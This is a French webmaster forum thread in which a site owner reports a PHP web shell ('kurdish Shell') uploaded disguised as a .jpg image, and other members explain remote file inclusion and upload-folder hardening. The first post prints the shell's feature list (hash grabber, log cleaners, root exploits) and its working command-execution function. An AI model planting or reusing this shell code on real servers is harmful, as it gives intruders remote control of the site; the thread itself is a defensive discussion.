Cheval de Troie dans fichier jpg

Discussion dans 'Administration d'un site Web' créé par 7804j, 29 Janvier 2012.

  1. 7804j
    7804j WRInaute discret
    Inscrit:
    20 Avril 2011
    Messages:
    167
    J'aime reçus:
    0
    Bonjour,

    L'un de mes sites, http://www.dofus2.org, possède un système d'hébergement d'images pour que les membres puissent en joindre aux articles qu'ils y rédigent. La fonctionnalité dispose d'un système de filtrage très sommaire puisqu'elle se contente de refuser les fichiers qui ne sont pas des .jpg, .jpeg, et .png.

    En inspectant récemment mes données, j'ai constaté qu'un des fichiers était bizarre. En le consultant, j'ai eu une alerte de mon anti-virus qui m'a signalé la présence d'un cheval de troie alors que j'avais simplement visité la page contenant l'image !

    En ouvrant cette image grâce à l'éditeur de texte de mon serveur, j'ai effectivement vu qu'il s'agissait d'un script de 8000 lignes. Voilà le début de ce fichier :

    Code:
    <?php
    
    /******************************************************************************************
    *  kurdish Shell, a modded anti-turk, which is a: $count=0; while($count==0){ echo ' mod of a'; }
    *
    *  VERSION 2 BITCH!!!!
    *
    *  By anti-turk - the 15-year-old hacker :)
    *
    *  Greetz to all my friends in #k.h.t
    *
    *  A big, fat "fuck you" to:
    *   - HellBound Hackers (you're also part of the next on the list, except you can't even deface!)
    *   - people who deface because they can't root and think they're 1337
    *   - idiots who add mail() to their shells so they can log your ownages
    *   - idiots who add mail() to their shells so they can log your ownages and mess up the variables so it doesn't even work!
    *   - MPAA, RIAA, and all those other arse-hole anti-p2p organizations
    * 
    *  lack of money and parental freedom leaves me with no site to advertise xD
    *
    *
    *  Newer Mods (added by me) for v2 --
    +--------------------------------------------------------+
    *  fixed a bug where deleting something from a path that has a space in it would return you to an invalid dir
    *  fixed the *nix aliases where the cmds were in the name and the names were executed :S
    *  added md5/sha1 file checksums
    *  removed fgdump (no need for three programs that do the same f-ing thing :P) !!! 1 mb saved !!!
    *  
    *
    *  Old Mods (added by me) for v1 --
    +--------------------------------------------------------+
    *  added the trojan executer
    *  cleaned up the interface in general
    *  added windows login hash grabber + sam/fg/pwdump2
    *  added mass code injector (thanks SubSyn)
    *  added pre-compiled h00lyshit and raptor_chown
    *  added log cleaners for both *nix and windows
    *  removed all the shitty/non-working functions in the drop-down boxes
    *  fixed the google kernel thing (the search variables were fuxxed up)
    *  made the dir listing easier to read with the alternating bgcolors
    *  little optimizations in code here and there (i'm an optimization whore tbh)
    *  submit md5/sha1 hash to cracking sites
    *  made that awesome logo ;)
    *  added the disabled php functions thing (took from r57shell)
    *  added better windows/*nix-specific aliases
    *  cleaned up the safe-mode bypass functions (wow, some of the shittiest code i've ever seen o_O )
    *  wordlist md5/sha1 cracker
    *
    *  What I Plan to Do Next --
    +--------------------------------------------------------+
    *  smaller size (somehow) :S
    *  more sploits
    *  allow input for dir to unpack exploits to
    *  better trojans/backdoors
    *  more functions/aliases
    *  maybe move stuff around/change theme
    *  make the php picture in the dir listing white for easier readability
    *  take a first look at the sql section o.O
    *  remove:
    *   - more of those stupid spaces after every line
    *   - more " and change them to ' for faster execution
    *   - a bunch of other stupid code things (example:  echo("$msg");  (wtf... :S))
    *********************************************************/
    
    //milw0rm search
    $Lversion = php_uname(r);
    $OSV = php_uname(s);
    if(eregi('Linux',$OSV))
    {
    $Lversion=substr($Lversion,0,6);
    $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
    }else{
    $Lversion=substr($Lversion,0,3);
    $millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
    }
    //End of milw0rm search
    
    
    //w4ck1ng Shell
    if (!function_exists('myshellexec'))
    {
    if(is_callable("popen")){
    function myshellexec($command) {
    if (!($p=popen("($command)2>&1","r"))) {
    return 126;
    }
    while (!feof($p)) {
    $line=fgets($p,1000);
    $out .= $line;
    }
    pclose($p);
    return $out;
    }
    }else{
    function myshellexec($cmd)
    {
     global $disablefunc;
     $result = '';
     if (!empty($cmd))
     {
      if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
      elseif (($result = `$cmd`) !== FALSE) {}
      elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
      elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
      elseif (is_resource($fp = popen($cmd,"r")))
      {
       $result = '';
       while(!feof($fp)) {$result .= fread($fp,1024);}
       pclose($fp);
      }
     }
     return $result;
    }
    }
    }
    //etc......
    
    Le fichier continue ensuite en alternant PHP, HTML, des lignes incompréhensible et quelque chose qui m'a l'air de ressembler à du BASH...

    Enfin bref, j'ai donc trois questions :
    1) Comment fonctionne ce script ? Etant donné que l'extension est en .jpg, je pensais que, à moins de n'utiliser de l'url-rewriting dans un .htaccess (ce que je n'ai pas fait), que je serveur allait interpréter ça comme du simple texte à afficher et que je serais à l'abri. Donc comment se fait-il que je sois tout de même menacé ?
    2) Quels sont les risques du fichier ? Aurait-il pu infiltrer mon serveur pour qu'il serve dans des attaques DDOS ou autre ? Quelles précautions dois-je prendre pour m'en assurer ?
    3) Quelles précautions dois-je prendre à l'avenir pour éviter que ce type de fichiers soit uploadé ?

    Merci de vos lumières :)

    Si quelqu'un voudrait voir le fichier en détail, je peux l'envoyer par e-mail car il est trop gros pour entrer dans ce topic.
     
  2. forty
    forty WRInaute passionné
    Inscrit:
    30 Octobre 2008
    Messages:
    1 929
    J'aime reçus:
    0
    a une époque le code php pouvait être exécuté chez OVH pour des images mais je suppose que depuis c'est résolu.

    Sinon il peut utiliser le fichier hébergé chez toi pour tenter de hacker un autre site. Le principe c'est d'appeler une page avec en paramètre le nom d'un fichier pour qu'il soit exécuté comme si c'était un include php.

    tu peux peut-être ajouter un contrôle que l'image ne contient pas '<? ... ?>'
     
  3. spout
    spout WRInaute accro
    Inscrit:
    14 Mai 2003
    Messages:
    9 003
    J'aime reçus:
    284
  4. 7804j
    7804j WRInaute discret
    Inscrit:
    20 Avril 2011
    Messages:
    167
    J'aime reçus:
    0
    Je suis de toute manière sur un serveur dédié et donc pas lié à l'infrastructure des mutualisés ovh.

    C'est vrai que je n'avais pas pensé à l'idée d'un include externe permettant de me faire endosser l'attaque. Par contre, je ne comprend pas comment ça se fait que quand j'arrive sur la page AVEC UN NAVIGATEUR, je reçois un message de mon antivirus m'avertissant que je suis infecté par un cheval de troie. D'ailleurs, mon ordinateur ayant fait un sauvegarde des fichiers du serveur, l'antivirus a également repéré le fichier lui-même, de la sauvegarde, et m'a prié de le supprimer car il le considérait comme un cheval de troie. Comment cela est-ce donc possible de se faire attaquer par du php via un navigateur internet, sans n'avoir confirmé aucun téléchargement ?

    Merci spout, je vais regarder cette histoire de mime. Par contre, pour d'autres de mes projets, j'aurais besoin d'héberger EGALEMENT des fichiers textes et là le mime ne fera pas l'affaire étant donné que le virus était justement un fichier texte. J'aimerais donc bien comprendre comment le troyen a opéré :/
     
  5. Leonick
    Leonick WRInaute accro
    Inscrit:
    8 Août 2004
    Messages:
    19 414
    J'aime reçus:
    0
    il faut mettre ton répertoire en non exécutable et vérifier obligatoirement le contenu et pas juste avec l'extension.
    Attention, le include peut aussi être effectué sur une autre partie de ton site et pas uniquement sur un site externe. Si tu ne vérifies pas les includes de ton site (n'autoriser que certains fichiers, et dans des répertoires où aucun internaute ne pourras ajouter/modifier de fichiers)
     
  6. 7804j
    7804j WRInaute discret
    Inscrit:
    20 Avril 2011
    Messages:
    167
    J'aime reçus:
    0
    Merci du conseil pour l'exécutable mais cela ne m'explique toujours pas comment j'ai pu être attaqué par un virus simplement en visitant la page avec Google Chrome (???).

    Oui, l'include pourrait être placé sur une autre partie de mon site... A condition que cette autre partie dispose aussi d'une faille, non ?
     
  7. Leonick
    Leonick WRInaute accro
    Inscrit:
    8 Août 2004
    Messages:
    19 414
    J'aime reçus:
    0
    parce que ton antivirus analyse le code du jpeg comme de tout autre fichier, même si au niveau d'un navigateur il n'aurait aucune influence néfaste, mais ce fichier est potentiellement dangereux
    oui
     
  8. Meeuuuhhh
    Meeuuuhhh WRInaute passionné
    Inscrit:
    8 Janvier 2007
    Messages:
    1 518
    J'aime reçus:
    0
    J'adore ces petites racailles informatiques, y'en a qui vendent de la drogue ou qui agressent des vieilles, et puis d'autres créent des chevaux de Troie, c'est quand même un niveau supérieure d'intelligence.

    ->
     
  9. JTH
    JTH WRInaute discret
    Inscrit:
    10 Décembre 2011
    Messages:
    240
    J'aime reçus:
    0
    :lol:
     
  10. zeb
    zeb WRInaute accro
    Inscrit:
    5 Décembre 2004
    Messages:
    12 192
    J'aime reçus:
    1
    Il est fort possible que ton antivirus fasse une analyse du flux réseau et détecte a la volé la présence d'un soft via une simple signature caractéristique.
    Il est aussi possible qu'il n'analyse que le flux HTTP ce qui pourrait expliquer un possible download via FTP et la détection après sur le disque local.
     
Chargement...
Similar Threads - Cheval Troie fichier Forum Date
cheval de troie Développement d'un site Web ou d'une appli mobile 22 Juin 2012
Site infecté par un cheval de troie Administration d'un site Web 29 Août 2011
Un cheval de troie envahit mes pages .php Développement d'un site Web ou d'une appli mobile 27 Septembre 2010
BitDefender : Un cheval de Troie se fait passer pour une extension Google Chrome Google : l'entreprise, les sites web, les services 20 Avril 2010
Forum sur le cheval pour enfants - cela vous intérresse-t-il ? Le café de WebRankInfo 1 Juillet 2013
  1. Ce site utilise des cookies. En continuant à utiliser ce site, vous acceptez l'utilisation des cookies.
    Rejeter la notice